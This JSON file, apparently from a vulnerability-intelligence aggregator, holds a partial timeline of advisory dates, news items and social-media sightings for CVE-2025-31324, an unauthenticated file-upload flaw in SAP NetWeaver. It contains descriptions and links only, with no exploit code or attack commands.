{"metadata": {"vulnerability": "cve-2025-31324", "count": 778, "kinds": {"milestone": 14, "sighting": 697, "kev": 17, "other": 50}}, "data": [{"timestamp": "2025-02-25T15:15:00Z", "date_only": false, "value": "2025-02-25T15:15:00Z", "kind": "other", "label": "Document generated", "source": "csaf_ncscnl \u00b7 NCSC-2025-0119", "record": "NCSC-2025-0119", "field": "document.tracking.generator.date"}, {"timestamp": "2025-02-25T15:15:00Z", "date_only": false, "value": "2025-02-25T15:15:00Z", "kind": "other", "label": "Document generated", "source": "csaf_ncscnl \u00b7 NCSC-2025-0149", "record": "NCSC-2025-0149", "field": "document.tracking.generator.date"}, {"timestamp": "2025-03-27T23:02:06.906Z", "date_only": false, "value": "2025-03-27T23:02:06.906Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "cve-2025-31324", "field": "cveMetadata.dateReserved"}, {"timestamp": "2025-04-07T22:00:00Z", "date_only": false, "value": "2025-04-07T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2025-0719", "record": "WID-SEC-W-2025-0719", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2025-04-07T22:00:00Z", "date_only": false, "value": "2025-04-07T22:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2025-0719", "record": "WID-SEC-W-2025-0719", "field": "document.tracking.initial_release_date"}, {"timestamp": "2025-04-07T22:00:00Z", "date_only": false, "value": "2025-04-07T22:00:00.000+00:00", "kind": "other", "label": "Release date", "source": "csaf_certbund \u00b7 WID-SEC-W-2025-0719", "record": "WID-SEC-W-2025-0719", "field": "vulnerabilities.0.release_date"}, {"timestamp": "2025-04-08T00:00:00Z", "date_only": true, "value": "2025-04-08", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2025-AVI-0285", "record": "CERTFR-2025-AVI-0285", "field": "vendor_advisories.0.published_at"}, {"timestamp": "2025-04-08T00:00:00Z", "date_only": true, "value": "2025-04-08", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2025-AVI-0350", "record": "CERTFR-2025-AVI-0350", "field": "vendor_advisories.0.published_at"}, {"timestamp": "2025-04-08T00:00:00Z", "date_only": false, "value": "2025-04-08T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2025-AVI-0285", "record": "CERTFR-2025-AVI-0285", "field": "revisions.0.revision_date"}, {"timestamp": "2025-04-09T09:12:05.705Z", "date_only": false, "value": "2025-04-09T09:12:05.705017Z", "kind": "other", "label": "Advisory revision", "source": "csaf_ncscnl \u00b7 NCSC-2025-0119", "record": "NCSC-2025-0119", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2025-04-09T09:12:05.705Z", "date_only": false, "value": "2025-04-09T09:12:05.705017Z", "kind": "milestone", "label": "Published", "source": "csaf_ncscnl \u00b7 NCSC-2025-0119", "record": "NCSC-2025-0119", "field": "document.tracking.initial_release_date"}, {"timestamp": "2025-04-24T00:00:00Z", "date_only": true, "value": "2025-04-24", "kind": "milestone", "label": "Published", "source": "certfr_alerte \u00b7 CERTFR-2025-ALE-005", "record": "CERTFR-2025-ALE-005", "field": "vendor_advisories.0.published_at"}, {"timestamp": "2025-04-24T00:00:00Z", "date_only": false, "value": "2025-04-24T00:00:00+00:00", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "cve-2025-31324", "field": "containers.adp.0.metrics.0.other.content.timestamp"}, {"timestamp": "2025-04-24T00:00:00Z", "date_only": false, "value": "2025-04-24T00:00:00+00:00", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2025-31324", "record": "FKIE_CVE-2025-31324", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2025-04-24T16:50:27.706Z", "date_only": false, "value": "2025-04-24T16:50:27.706Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2025-31324", "field": "cveMetadata.datePublished"}, {"timestamp": "2025-04-24T16:50:27.706Z", "date_only": false, "value": "2025-04-24T16:50:27.706Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / sap", "record": "cve-2025-31324", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2025-04-24T17:06:29Z", "date_only": false, "value": "2025-04-24T17:06:29.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/13279", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "67ce0d61-afd7-43fe-b9f7-d255a9aeb209", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-31324\n\ud83d\udd25 CVSS Score: 10 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\ud83d\udd39 Description: SAP NetWeaver Visual Composer Metadata Uploader is not protected with a proper authorization, allowing unauthenticated agent to upload potentially malicious executable binaries that could severely harm the host system. This could significantly affect the confidentiality, integrity, and availability of the targeted system.\n\ud83d\udccf Published: 2025-04-24T16:50:27.706Z\n\ud83d\udccf Modified: 2025-04-24T16:50:27.706Z\n\ud83d\udd17 References:\n1. https://me.sap.com/notes/3594142\n2. https://url.sap/sapsecuritypatchday", "url": "https://t.me/DarkWebInformer_CVEAlerts/13279"}, {"timestamp": "2025-04-24T17:15:35Z", "date_only": false, "value": "2025-04-24T17:15:35Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-7W9P-PR7X-MJW2", "record": "GHSA-7W9P-PR7X-MJW2", "field": "database_specific.nvd_published_at"}, {"timestamp": "2025-04-24T17:15:35.913Z", "date_only": false, "value": "2025-04-24T17:15:35.913000", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-202504-3437", "record": "VAR-202504-3437", "field": "sources_release_date.data.1.date"}, {"timestamp": "2025-04-24T17:15:35.913Z", "date_only": false, "value": "2025-04-24T17:15:35.913", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2025-31324", "record": "FKIE_CVE-2025-31324", "field": "published"}, {"timestamp": "2025-04-24T17:20:18.048Z", "date_only": false, "value": "2025-04-24T17:20:18.048860Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/cR0w/statuses/114394085290415234", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c731703d-52d4-4cf8-8f99-80a05de3787c", "url": "https://infosec.exchange/users/cR0w/statuses/114394085290415234"}, {"timestamp": "2025-04-24T18:14:38.461Z", "date_only": false, "value": "2025-04-24T18:14:38.461774Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lnlcsffy722s", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "cc6b4bab-755f-4379-aeb4-4ad47499f2dc", "url": "https://bsky.app/profile/cve.skyfleet.blue/post/3lnlcsffy722s"}, {"timestamp": "2025-04-24T18:30:33.564Z", "date_only": false, "value": "2025-04-24T18:30:33.564526Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/vuldb/statuses/114394361569946825", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "18ba7757-3793-4d64-95f0-f6763cd0dabf", "url": "https://infosec.exchange/users/vuldb/statuses/114394361569946825"}, {"timestamp": "2025-04-24T18:31:08Z", "date_only": false, "value": "2025-04-24T18:31:08Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-7W9P-PR7X-MJW2", "record": "GHSA-7W9P-PR7X-MJW2", "field": "published"}, {"timestamp": "2025-04-24T19:14:49Z", "date_only": false, "value": "2025-04-24T19:14:49.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/DarkWebInformer_News/3454", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "15cea61b-3cac-4b08-89a5-ac66b7bb90f1", "content": "\ud83d\udea8 News Alert!\n\nSource: Dark Web Informer - Cyber Threat Intelligence\nTitle: SAP NetWeaver Vulnerability (CVE-2025-31324) Allows Remote Code Execution via File Upload Flaw\nLink: https://darkwebinformer.com/sap-netweaver-vulnerability-cve-2025-31324-allows-remote-code-execution-via-file-upload-flaw/", "url": "https://t.me/DarkWebInformer_News/3454"}, {"timestamp": "2025-04-24T19:15:02.135Z", "date_only": false, "value": "2025-04-24T19:15:02.135178Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/114394536456553123", "record": "cve-2025-31324", "field": "creation_timestamp", "uuid": "b31df40a-cdd6-43e3-bb61-5defa8c8cd1e", "url": "https://infosec.exchange/users/DarkWebInformer/statuses/114394536456553123"}, {"timestamp": "2025-04-24T19:15:08.987Z", "date_only": false, "value": "2025-04-24T19:15:08.987378Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/darkwebinformer.bsky.social/post/3lnlg6l7ojs26", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "147abbb6-ecdf-459b-9e9b-df72aab7a5a3", "url": "https://bsky.app/profile/darkwebinformer.bsky.social/post/3lnlg6l7ojs26"}, {"timestamp": "2025-04-24T19:48:33.628Z", "date_only": false, "value": "2025-04-24T19:48:33.628418Z", "kind": "sighting", "label": "Seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114394668268087045", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "6080e1d1-77f1-4135-9f4c-c924727eae75", "url": "https://mastodon.social/users/CyberSignaler/statuses/114394668268087045"}, {"timestamp": "2025-04-24T21:14:48Z", "date_only": false, "value": "2025-04-24T21:14:48.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/TheDarkWebInformer/16418", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "98b78c05-fc33-49f5-85e4-88de4fb60805", "content": "\ud83d\udea8SAP NetWeaver Vulnerability (CVE-2025-31324) Allows Remote Code Execution via File Upload Flaw\n\nhttps://darkwebinformer.com/sap-netweaver-vulnerability-cve-2025-31324-allows-remote-code-execution-via-file-upload-flaw/", "url": "https://t.me/TheDarkWebInformer/16418"}, {"timestamp": "2025-04-24T22:00:00Z", "date_only": false, "value": "2025-04-24T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2025-0719", "record": "WID-SEC-W-2025-0719", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2025-04-24T22:00:00Z", "date_only": false, "value": "2025-04-24T22:00:00.000+00:00", "kind": "other", "label": "Release date", "source": "csaf_certbund \u00b7 WID-SEC-W-2025-0719", "record": "WID-SEC-W-2025-0719", "field": "vulnerabilities.22.release_date"}, {"timestamp": "2025-04-24T22:00:00Z", "date_only": false, "value": "2025-04-24T22:00:00.000+00:00", "kind": "other", "label": "Updated", "source": "csaf_certbund \u00b7 WID-SEC-W-2025-0719", "record": "WID-SEC-W-2025-0719", "field": "document.tracking.current_release_date"}, {"timestamp": "2025-04-24T22:29:48Z", "date_only": false, "value": "2025-04-24T22:29:48.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/TheDarkWebInformer/16421", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "bbcf08e6-a4c3-4dd0-ad4c-a2c3035a5816", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-31324\n\ud83d\udd25 CVSS Score: 10 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\ud83d\udd39 Description: SAP NetWeaver Visual Composer Metadata Uploader is not protected with a proper authorization, allowing unauthenticated agent to upload potentially malicious executable binaries that could severely harm the host system. This could significantly affect the confidentiality, integrity, and availability of the targeted system.\n\ud83d\udccf Published: 2025-04-24T16:50:27.706Z\n\ud83d\udccf Modified: 2025-04-24T16:50:27.706Z\n\ud83d\udd17 References:\n1. https://me.sap.com/notes/3594142\n2. https://url.sap/sapsecuritypatchday", "url": "https://t.me/TheDarkWebInformer/16421"}, {"timestamp": "2025-04-25T00:00:00Z", "date_only": false, "value": "2025-04-25T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_avis \u00b7 CERTFR-2025-AVI-0285", "record": "CERTFR-2025-AVI-0285", "field": "last_revision_date"}, {"timestamp": "2025-04-25T00:00:00Z", "date_only": false, "value": "2025-04-25T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2025-AVI-0350", "record": "CERTFR-2025-AVI-0350", "field": "initial_release_date"}, {"timestamp": "2025-04-25T00:00:00Z", "date_only": false, "value": "2025-04-25T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2025-AVI-0285", "record": "CERTFR-2025-AVI-0285", "field": "revisions.1.revision_date"}, {"timestamp": "2025-04-25T00:00:00Z", "date_only": false, "value": "2025-04-25T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2025-AVI-0350", "record": "CERTFR-2025-AVI-0350", "field": "revisions.0.revision_date"}, {"timestamp": "2025-04-25T00:00:00Z", "date_only": true, "value": "2025-04-25", "kind": "other", "label": "Submit Time", "source": "cnvd \u00b7 CNVD-2025-09245", "record": "CNVD-2025-09245", "field": "submitTime"}, {"timestamp": "2025-04-25T03:03:54.571Z", "date_only": false, "value": "2025-04-25T03:03:54.571485Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lnmaettadw2r", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "e1bb0215-1549-4a9f-8b50-e0afbe246a84", "url": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lnmaettadw2r"}, {"timestamp": "2025-04-25T05:34:44Z", "date_only": false, "value": "2025-04-25T05:34:44.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/vah13/c58ba3b5778c2e9126f8509a43b7cf93", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "e78c23ae-0a8e-45eb-b46f-81d6b36a5ab5", "url": "https://gist.github.com/vah13/c58ba3b5778c2e9126f8509a43b7cf93"}, {"timestamp": "2025-04-25T06:18:45.151Z", "date_only": false, "value": "2025-04-25T06:18:45.151788Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/andranglin.bsky.social/post/3lnmlb6o36k2v", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c682cd32-5851-44d6-a466-c5e21a9a9d31", "url": "https://bsky.app/profile/andranglin.bsky.social/post/3lnmlb6o36k2v"}, {"timestamp": "2025-04-25T09:49:22.319Z", "date_only": false, "value": "2025-04-25T09:49:22.319+00:00", "kind": "other", "label": "Document generated", "source": "csaf_certbund \u00b7 WID-SEC-W-2025-0719", "record": "WID-SEC-W-2025-0719", "field": "document.tracking.generator.date"}, {"timestamp": "2025-04-25T10:10:29Z", "date_only": false, "value": "2025-04-25T10:10:29.000000Z", "kind": "sighting", "label": "Seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2025-0119", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "dd04f0c8-3260-4a40-8d46-5c90c9786b49", "url": "https://advisories.ncsc.nl/advisory?id=NCSC-2025-0119"}, {"timestamp": "2025-04-25T10:53:23.750Z", "date_only": false, "value": "2025-04-25T10:53:23.750170Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/jbhall56/statuses/114398226244078888", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "6ff6e6eb-778b-42a4-9b75-ef2502b6d7d2", "url": "https://infosec.exchange/users/jbhall56/statuses/114398226244078888"}, {"timestamp": "2025-04-25T10:53:30.998Z", "date_only": false, "value": "2025-04-25T10:53:30.998956Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3lnn2mjvqtk2c", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "bd204f76-8107-4dc9-8efe-bd31c61ac9fd", "url": "https://bsky.app/profile/jbhall56.bsky.social/post/3lnn2mjvqtk2c"}, {"timestamp": "2025-04-25T11:21:20Z", "date_only": false, "value": "2025-04-25T11:21:20.000000Z", "kind": "sighting", "label": "Seen", "source": "https://threatintel.cc/2025/04/25/new-critical-sap-netweaver-flaw.html", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d1e53110-b0ea-4703-a9c0-4aa59fcab9b0", "url": "https://threatintel.cc/2025/04/25/new-critical-sap-netweaver-flaw.html"}, {"timestamp": "2025-04-25T12:04:03.563Z", "date_only": false, "value": "2025-04-25T12:04:03.563376Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lnn6kok6dr2f", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "18063095-5f8c-4062-95c0-34b97019ef88", "url": "https://bsky.app/profile/hackingne.ws/post/3lnn6kok6dr2f"}, {"timestamp": "2025-04-25T12:10:29.929Z", "date_only": false, "value": "2025-04-25T12:10:29.929217Z", "kind": "other", "label": "Advisory revision", "source": "csaf_ncscnl \u00b7 NCSC-2025-0119", "record": "NCSC-2025-0119", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2025-04-25T12:43:20Z", "date_only": false, "value": "2025-04-25T12:43:20.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/thehackernews/6725", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "6cb6d352-2aa4-41a0-95e7-1f60a3d57067", "content": "\ud83d\uded1 Critical SAP Exploit Alert!\n\nHackers are abusing a flaw in SAP NetWeaver to drop JSP web shells\u2014even fully patched systems are hit.\n\nLikely tied to CVE-2025-31324 (CVSS 10.0) | Allows unauthenticated file uploads via /metadatauploader.\n\nDetails \u2192 https://thehackernews.com/2025/04/sap-confirms-critical-netweaver-flaw.html", "url": "https://t.me/thehackernews/6725"}, {"timestamp": "2025-04-25T13:33:42.967Z", "date_only": false, "value": "2025-04-25T13:33:42.967989Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/modat-io.bsky.social/post/3lnndkpgy6c22", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "cf096f4d-937a-40e7-9b76-8140ff2c3fd5", "url": "https://bsky.app/profile/modat-io.bsky.social/post/3lnndkpgy6c22"}, {"timestamp": "2025-04-25T13:34:30.842Z", "date_only": false, "value": "2025-04-25T13:34:30.842247Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/earlybirdsinvest.bsky.social/post/3lnndmhijhz2c", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "6d43dd5b-c14c-439d-9e4f-4e6c6d6c141f", "url": "https://bsky.app/profile/earlybirdsinvest.bsky.social/post/3lnndmhijhz2c"}, {"timestamp": "2025-04-25T14:07:40.045Z", "date_only": false, "value": "2025-04-25T14:07:40.045598Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/ethicalhack3r.bsky.social/post/3lnnfhq3e6c2h", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4418c1f8-001a-4a55-b2c5-c510d9c36a0e", "url": "https://bsky.app/profile/ethicalhack3r.bsky.social/post/3lnnfhq3e6c2h"}, {"timestamp": "2025-04-25T16:46:45Z", "date_only": false, "value": "2025-04-25T16:46:45.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/34209", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f2c5206e-aac3-4642-aa54-eb03922d4641", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aThis repository contains POC scenarios as part of CVE-2025-0411 MotW bypass.\nURL\uff1ahttps://github.com/rxerium/CVE-2025-31324\n\n\u6807\u7b7e\uff1a#CVE-2025", "url": "https://t.me/GithubRedTeam/34209"}, {"timestamp": "2025-04-25T16:53:45.504Z", "date_only": false, "value": "2025-04-25T16:53:45.504971Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aakl.bsky.social/post/3lnnoqpw5uc2i", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f4775b47-4af0-4351-9cac-017d69d66638", "url": "https://bsky.app/profile/aakl.bsky.social/post/3lnnoqpw5uc2i"}, {"timestamp": "2025-04-25T19:41:58Z", "date_only": false, "value": "2025-04-25T19:41:58.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/ics_cert/1130", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a7754f8b-94ad-4170-aa50-5e40d89e14b9", "content": "\u06cc\u06a9 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u062a\u0627\u0628\u0639 MetadataUploader \u0627\u0628\u0632\u0627\u0631 Visual Composer \u067e\u0644\u062a \u0641\u0631\u0645 \u06cc\u06a9\u067e\u0627\u0631\u0686\u0647 \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631 SAP NetWeaver \u0628\u0647 \u062a\u0648\u0627\u0646\u0627\u06cc\u06cc \u0622\u067e\u0644\u0648\u062f \u0641\u0627\u06cc\u0644 \u0647\u0627\u06cc \u0627\u062c\u0631\u0627\u06cc\u06cc \u0628\u062f\u0648\u0646 \u0645\u062d\u062f\u0648\u062f\u06cc\u062a \u0645\u0631\u0628\u0648\u0637 \u0645\u06cc \u0634\u0648\u062f. \u0628\u0647\u0631\u0647 \u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u062f \u062a\u0627 \u0628\u0627 \u0627\u0631\u0633\u0627\u0644 \u06cc\u06a9 \u062f\u0631\u062e\u0648\u0627\u0633\u062a POST \u0633\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 \u062e\u0627\u0635\u060c \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f.\n\nBDU: 2025-04927\nCVE-2025-31324\n\n\u0627\u0642\u062f\u0627\u0645\u0627\u062a \u062c\u0628\u0631\u0627\u0646\u06cc:\n- \u063a\u06cc\u0631\u0641\u0639\u0627\u0644 \u06a9\u0631\u062f\u0646 \u0627\u0628\u0632\u0627\u0631 \u0648\u06cc\u0698\u0648\u0627\u0644 \u06a9\u0627\u0645\u067e\u0648\u0632\u0631.\n- \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06cc\u06a9 \u0641\u0627\u06cc\u0631\u0648\u0627\u0644 \u0644\u0627\u06cc\u0647 \u06a9\u0627\u0631\u0628\u0631\u062f\u06cc (WAF) \u0628\u0631\u0627\u06cc \u0641\u06cc\u0644\u062a\u0631 \u06a9\u0631\u062f\u0646 \u062a\u0631\u0627\u0641\u06cc\u06a9 \u0634\u0628\u06a9\u0647.\n- \u0627\u0632 \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631 \u0622\u0646\u062a\u06cc \u0648\u06cc\u0631\u0648\u0633 \u0628\u0631\u0627\u06cc \u0628\u0631\u0631\u0633\u06cc \u0641\u0627\u06cc\u0644 \u0647\u0627\u06cc \u0645\u062e\u0631\u0628 \u062f\u0631 \u062f\u0627\u06cc\u0631\u06a9\u062a\u0648\u0631\u06cc \"j2ee/cluster/apps/sapcom/irj/servlet_jsp/irj/root/\" \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f.\n- \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0633\u06cc\u0633\u062a\u0645 \u0647\u0627\u06cc SIEM \u0628\u0631\u0627\u06cc \u0631\u062f\u06cc\u0627\u0628\u06cc \u062a\u0644\u0627\u0634 \u0647\u0627 \u0628\u0631\u0627\u06cc \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0647\u0627.\n- \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u062f\u0633\u062a\u06af\u0627\u0647 \u0627\u0632 \u0634\u0628\u06a9\u0647 \u0647\u0627\u06cc \u062e\u0627\u0631\u062c\u06cc (\u0627\u06cc\u0646\u062a\u0631\u0646\u062a).\n\n\u0645\u0646\u0627\u0628\u0639 \u0627\u0637\u0644\u0627\u0639\u0627\u062a\u06cc:\nhttps://reliaquest.com/blog/threat-spotlight-reliaquest-uncovers-vulnerability-behind-sap-netweaver-compromise/\n\n\ud83c\udfed \u0648\u0628\u0633\u0627\u06cc\u062a \u0648 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n\ud83d\udc6e\ud83c\udffd\u200d\u2640\ufe0f\u0647\u0631\u06af\u0648\u0646\u0647 \u0627\u0646\u062a\u0634\u0627\u0631 \u0648 \u0630\u06a9\u0631 \u0645\u0637\u0627\u0644\u0628 \u0628\u062f\u0648\u0646 \u0630\u06a9\u0631 \u062f\u0642\u06cc\u0642 \u0645\u0646\u0628\u0639 \u0648 \u0622\u062f\u0631\u0633 \u0644\u06cc\u0646\u06a9 \u0622\u0646 \u0645\u0645\u0646\u0648\u0639 \u0627\u0633\u062a. \n\u0627\u062f\u0645\u06cc\u0646:\n\u200fhttps://t.me/pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert\n\u06af\u0631\u0648\u0647 \u0648\u0627\u062a\u0633 \u0622\u067e :\nhttps://chat.whatsapp.com/FpB620AWEeSKvd8U6cFh33\n\u06af\u0631\u0648\u0647 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ICSCERT_IR", "url": "https://t.me/ics_cert/1130"}, {"timestamp": "2025-04-25T21:12:13.372Z", "date_only": false, "value": "2025-04-25T21:12:13.372017Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/patrickcmiller/statuses/114400659559289987", "record": "cve-2025-31324", "field": "creation_timestamp", "uuid": "932ca58c-cca1-4cb7-9792-074a87193494", "url": "https://infosec.exchange/users/patrickcmiller/statuses/114400659559289987"}, {"timestamp": "2025-04-25T23:56:54.572Z", "date_only": false, "value": "2025-04-25T23:56:54.572989Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lnogf4mfabw2", "record": "cve-2025-31324", "field": "creation_timestamp", "uuid": "cc279cb7-b471-45cb-9ed7-ce227ea3da4e", "url": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lnogf4mfabw2"}, {"timestamp": "2025-04-26T03:07:09Z", "date_only": false, "value": "2025-04-26T03:07:09.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/ton618cyber/3639", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ddc7fc14-6f28-4b30-a28e-1616d39ec83a", "content": "SAP Confirms Critical NetWeaver Flaw Amid Suspected Zero-Day Exploitation by Hackers\n\nThreat actors exploit SAP NetWeaver flaw + zero-day suspected + CVE-2025-31324 enables file uploads.\n\nThe Hacker News | thehackernews\u200b.com \u2022 Apr 25, 2025", "url": "https://t.me/ton618cyber/3639"}, {"timestamp": "2025-04-26T03:07:10Z", "date_only": false, "value": "2025-04-26T03:07:10.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/ton618cyber/8997", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "91118f1d-16c2-484e-834a-7b11488d1bcf", "content": "SAP Confirms Critical NetWeaver Flaw Amid Suspected Zero-Day Exploitation by Hackers\n\nThreat actors exploit SAP NetWeaver flaw + zero-day suspected + CVE-2025-31324 enables file uploads.\n\nThe Hacker News | thehackernews\u200b.com \u2022 Apr 25, 2025", "url": "https://t.me/ton618cyber/8997"}, {"timestamp": "2025-04-26T07:13:20.262Z", "date_only": false, "value": "2025-04-26T07:13:20.262616Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/rxerium.com/post/3lnp6rrbis22v", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "cc57a43b-fdeb-4670-bd1c-44046ac35dc1", "url": "https://bsky.app/profile/rxerium.com/post/3lnp6rrbis22v"}, {"timestamp": "2025-04-26T08:21:22.107Z", "date_only": false, "value": "2025-04-26T08:21:22.107282Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/shiojiri.com/post/3lnpclfpmx22n", "record": "cve-2025-31324", "field": "creation_timestamp", "uuid": "e2ba93e2-930d-4a68-9fb1-4dfb02cc479b", "url": "https://bsky.app/profile/shiojiri.com/post/3lnpclfpmx22n"}, {"timestamp": "2025-04-26T08:33:49.259Z", "date_only": false, "value": "2025-04-26T08:33:49.259072Z", "kind": "sighting", "label": "Seen", "source": 